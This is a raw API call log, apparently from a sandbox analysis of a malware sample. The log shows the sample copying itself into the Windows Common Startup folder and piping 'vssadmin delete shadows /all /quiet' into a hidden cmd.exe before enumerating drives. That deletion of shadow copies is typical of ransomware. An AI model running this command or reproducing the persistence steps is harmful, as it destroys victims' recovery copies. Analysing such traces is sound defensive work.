	[0063.256] ReadFile (in: hFile=0x244, lpBuffer=0x241d020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x241d020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1
	[0063.256] CloseHandle (hObject=0x248) returned 1
	[0063.262] CloseHandle (hObject=0x244) returned 1
	[0063.262] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x5443e8
	[0063.262] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x5443e8, Size=0x20) returned 0x53e9a0
	[0063.262] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x544400
	[0063.262] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x544400, Size=0x20) returned 0x53ed10
	[0063.262] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76750000
	[0063.262] GetProcAddress (hModule=0x76750000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76766b30
	[0063.262] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0063.262] lstrlenW (lpString="kernel32.dll") returned 12
	[0063.262] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x53ed10 | out: hHeap=0x500000) returned 1
	[0063.262] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0063.263] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x53e9a0 | out: hHeap=0x500000) returned 1
	[0063.263] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x241d020 | out: hHeap=0x500000) returned 1
	[0063.290] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x566700
	[0063.298] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x576708
	[0063.298] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x544508
	[0063.298] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x544508, Size=0x20) returned 0x53eb08
	[0063.298] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53eb08, Size=0x40) returned 0x51a6d8
	[0063.298] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x51a6d8, Size=0x80) returned 0x587150
	[0063.298] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x587150, Size=0x100) returned 0x544f70
	[0063.298] lstrlenW (lpString="") returned 0
	[0063.298] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0063.298] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x8c) returned 0x545078
	[0063.298] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0
	[0063.299] RegQueryValueExW (in: hKey=0x244, lpValueName="Common Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x576708, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x78) returned 0x0
	[0063.299] RegCloseKey (hKey=0x244) returned 0x0
	[0063.299] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x545078 | out: hHeap=0x500000) returned 1
	[0063.299] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59
	[0063.299] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0063.299] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x544f70 | out: hHeap=0x500000) returned 1
	[0063.299] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe", lpDst=0x566700, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 0x78
	[0063.299] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x576708 | out: hHeap=0x500000) returned 1
	[0063.299] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x566700 | out: hHeap=0x500000) returned 1
	[0063.300] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x100000) returned 0x241f020
	[0063.302] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x544490
	[0063.302] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x544490, Size=0x20) returned 0x53e978
	[0063.302] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x544388
	[0063.302] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x544388, Size=0x20) returned 0x53ed10
	[0063.302] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76750000
	[0063.303] GetProcAddress (hModule=0x76750000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76766b30
	[0063.303] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0063.303] lstrlenW (lpString="kernel32.dll") returned 12
	[0063.303] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x53e978 | out: hHeap=0x500000) returned 1
	[0063.303] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0063.303] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x53ed10 | out: hHeap=0x500000) returned 1
	[0063.303] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0063.303] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248
	[0063.357] ReadFile (in: hFile=0x244, lpBuffer=0x241f020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x241f020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1
	[0063.410] WriteFile (in: hFile=0x248, lpBuffer=0x241f020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x241f020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1
	[0063.412] ReadFile (in: hFile=0x244, lpBuffer=0x241f020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x241f020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1
	[0063.412] CloseHandle (hObject=0x248) returned 1
	[0063.414] CloseHandle (hObject=0x244) returned 1
	[0063.414] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x544490
	[0063.414] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x544490, Size=0x20) returned 0x53ea68
	[0063.415] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x544310
	[0063.415] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x544310, Size=0x20) returned 0x53ed10
	[0063.415] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76750000
	[0063.415] GetProcAddress (hModule=0x76750000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76766b30
	[0063.415] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0063.415] lstrlenW (lpString="kernel32.dll") returned 12
	[0063.415] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x53ed10 | out: hHeap=0x500000) returned 1
	[0063.415] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0063.415] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x53ea68 | out: hHeap=0x500000) returned 1
	[0063.415] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x241f020 | out: hHeap=0x500000) returned 1
	[0063.420] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x5466f0 | out: hHeap=0x500000) returned 1
	[0063.420] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x5566f8 | out: hHeap=0x500000) returned 1
	[0063.422] lstrlenW (lpString="%windir%\\System32") returned 17
	[0063.422] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x51a2a0 | out: hHeap=0x500000) returned 1
	[0063.422] lstrlenW (lpString="%appdata%") returned 9
	[0063.422] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x53e888 | out: hHeap=0x500000) returned 1
	[0063.422] lstrlenW (lpString="%sh(Startup)%") returned 13
	[0063.422] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x53ea40 | out: hHeap=0x500000) returned 1
	[0063.423] lstrlenW (lpString="%sh(Common Startup)%") returned 20
	[0063.423] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x51a330 | out: hHeap=0x500000) returned 1
	[0063.423] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x544280
	[0063.423] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x544280, Size=0x20) returned 0x53ed10
	[0063.423] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53ed10, Size=0x40) returned 0x51a3c0
	[0063.423] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x51a3c0, Size=0x80) returned 0x5873f8
	[0063.423] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x544478
	[0063.423] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x544478, Size=0x20) returned 0x53e950
	[0063.423] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x1fffc) returned 0x5466f0
	[0063.423] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x5666f8
	[0063.424] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x576700
	[0063.424] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x5442f8
	[0063.424] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x5442f8, Size=0x20) returned 0x53eae0
	[0063.424] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53eae0, Size=0x40) returned 0x51a5b8
	[0063.424] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x51a5b8, Size=0x80) returned 0x587370
	[0063.424] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x587370, Size=0x100) returned 0x544f70
	[0063.424] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0063.424] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x544f70 | out: hHeap=0x500000) returned 1
	[0063.424] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x5666f8, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0063.424] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x576700 | out: hHeap=0x500000) returned 1
	[0063.424] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x5666f8 | out: hHeap=0x500000) returned 1
	[0063.425] CreatePipe (in: hReadPipe=0x19fd50, hWritePipe=0x19fd54, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fd50*=0x248, hWritePipe=0x19fd54*=0x24c) returned 1
	[0063.425] CreatePipe (in: hReadPipe=0x19fdc0, hWritePipe=0x19fdc4, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fdc0*=0x250, hWritePipe=0x19fdc4*=0x254) returned 1
	[0063.425] SetHandleInformation (hObject=0x24c, dwMask=0x1, dwFlags=0x0) returned 1
	[0063.425] SetHandleInformation (hObject=0x250, dwMask=0x1, dwFlags=0x0) returned 1
	[0063.426] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fd60*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254), lpProcessInformation=0x19fdb0 | out: lpCommandLine=0x0, lpProcessInformation=0x19fdb0*(hProcess=0x25c, hThread=0x258, dwProcessId=0x10cc, dwThreadId=0x10d4)) returned 1
	[0063.845] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65
	[0063.845] WriteFile (in: hFile=0x24c, lpBuffer=0x5873f8*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x19fd5c, lpOverlapped=0x0 | out: lpBuffer=0x5873f8*, lpNumberOfBytesWritten=0x19fd5c*=0x41, lpOverlapped=0x0) returned 1
	[0063.845] CloseHandle (hObject=0x25c) returned 1
	[0063.845] CloseHandle (hObject=0x258) returned 1
	[0063.845] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x5466f0 | out: hHeap=0x500000) returned 1
	[0063.845] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65
	[0063.845] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x5873f8 | out: hHeap=0x500000) returned 1
	[0063.846] lstrlenW (lpString="%comspec%") returned 9
	[0063.846] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x53e950 | out: hHeap=0x500000) returned 1
	[0063.846] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x258
	[0063.846] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xc) returned 0x5443d0
	[0063.846] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x5443d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25c
	[0063.847] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x8) returned 0x53f0a8
	[0063.847] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x53f0a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x264
	[0063.847] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x5444f0
	[0063.847] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x5444f0, Size=0x20) returned 0x53e888
	[0063.847] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53e888, Size=0x40) returned 0x51a498
	[0063.847] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26
	[0063.847] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xd0) returned 0x51acb8
	[0063.847] GetLogicalDrives () returned 0x4
	[0063.847] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10014) returned 0x5466f0
	[0063.847] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x544400
	[0063.848] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x544400, Size=0x20) returned 0x53e888
	[0063.848] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53e888, Size=0x40) returned 0x51a408
	[0063.848] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x51a408, Size=0x80) returned 0x586fb8
	[0063.848] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x586fb8, Size=0x100) returned 0x545000
	[0063.848] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x545000, Size=0x200) returned 0x545000
	[0063.848] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x545000, Size=0x400) returned 0x545000
	[0063.848] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x545000, Size=0x800) returned 0x587718
	[0063.848] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x587718, Size=0x1000) returned 0x587718
	[0063.848] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10000) returned 0x556710
	[0063.848] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x5443e8
	[0063.848] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xc) returned 0x544520
	[0063.848] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x4) returned 0x53f228
	[0063.848] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xc) returned 0x544328
	[0063.848] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x4) returned 0x53f088
	[0063.848] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x544250
	[0063.848] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53f088, Size=0x8) returned 0x53f1b8
	[0063.848] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x5443a0
	[0063.848] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53f1b8, Size=0x10) returned 0x544370
	[0063.848] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x5444d8
	[0063.848] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x5444f0
	[0063.848] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x544370, Size=0x20) returned 0x53eb08
	[0063.848] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x5442f8
	[0063.848] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x8) returned 0x53f168
	[0063.848] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xe) returned 0x544508
	[0063.848] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xe) returned 0x544280
	[0063.848] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53eb08, Size=0x40) returned 0x51a138
	[0063.848] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xe) returned 0x544298
	[0063.848] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xe) returned 0x5444c0
	[0063.848] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xe) returned 0x5442b0
	[0063.848] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xe) returned 0x544388
	[0063.848] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x5442c8
	[0063.848] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x544310
	[0063.848] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x8) returned 0x53f0b8
	[0063.848] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x544370
	[0063.848] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x51a138, Size=0x80) returned 0x5873f8
	[0063.848] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x5443b8
	[0063.849] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x544400
	[0063.849] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x544460
	[0063.849] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x544478
	[0063.849] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x544490
	[0063.849] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xc) returned 0x544598
	[0063.849] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x5445b0
	[0063.849] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x8) returned 0x53f258
	[0063.849] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x5445e0
	[0063.849] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x5445f8
	[0063.849] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xc) returned 0x544580
	[0063.849] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x5445c8
	[0063.849] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xc) returned 0x544538
	[0063.849] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x544550
	[0063.849] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xc) returned 0x544568
	[0063.849] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x517940
	[0063.849] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x5873f8, Size=0x100) returned 0x545000
	[0063.849] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588af8
	[0063.849] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588b40
	[0063.849] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588cf0
	[0063.849] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x588b10
	[0063.849] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588a80
	[0063.849] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588b70
	[0063.849] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x8) returned 0x53f1b8
	[0063.849] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588bd0
	[0063.849] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588ba0
	[0063.849] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588b28
	[0063.849] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x6) returned 0x53f1d8
	[0063.849] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588d38
	[0063.849] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588b88
	[0063.849] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x8) returned 0x53f238
	[0063.849] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588b58
	[0063.849] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588ca8
	[0063.849] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xc) returned 0x588cc0
	[0063.849] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588d08
	[0063.849] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588cd8
	[0063.849] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588c48
	[0063.849] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xe) returned 0x588bb8
	[0063.849] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588c90
	[0063.849] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x588d20
	[0063.850] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588a98
	[0063.850] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588be8
	[0063.850] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588a50
	[0063.850] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588ab0
	[0063.850] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x8) returned 0x53f088
	[0063.850] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588c30
	[0063.850] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588ac8
	[0063.850] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588c00
	[0063.850] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588c18
	[0063.850] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x545000, Size=0x200) returned 0x545000
	[0063.850] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588c60
	[0063.850] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x8) returned 0x53f1e8
	[0063.850] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588c78
	[0063.850] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588a68
	[0063.850] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588ae0
	[0063.850] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588f00
	[0063.850] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588db0
	[0063.850] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588d50
	[0063.850] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588e88
	[0063.850] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588e10
	[0063.850] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588eb8
	[0063.850] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xc) returned 0x588e40
	[0063.850] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xc) returned 0x588dc8
	[0063.850] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588ea0
	[0063.850] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588e70
	[0063.850] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xc) returned 0x588ed0
	[0063.850] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xc) returned 0x588e58
	[0063.850] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588ee8
	[0063.850] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xc) returned 0x588df8
	[0063.850] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xc) returned 0x588d80
	[0063.850] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588d68
	[0063.850] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588de0
	[0063.850] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588d98
	[0063.850] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x8) returned 0x53f188
	[0063.850] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588e28
	[0063.850] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x5888a0
	[0063.850] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588858
	[0063.850] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x8) returned 0x53f138
	[0063.850] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588a38
	[0063.851] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xc) returned 0x5888e8
	[0063.851] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x588780
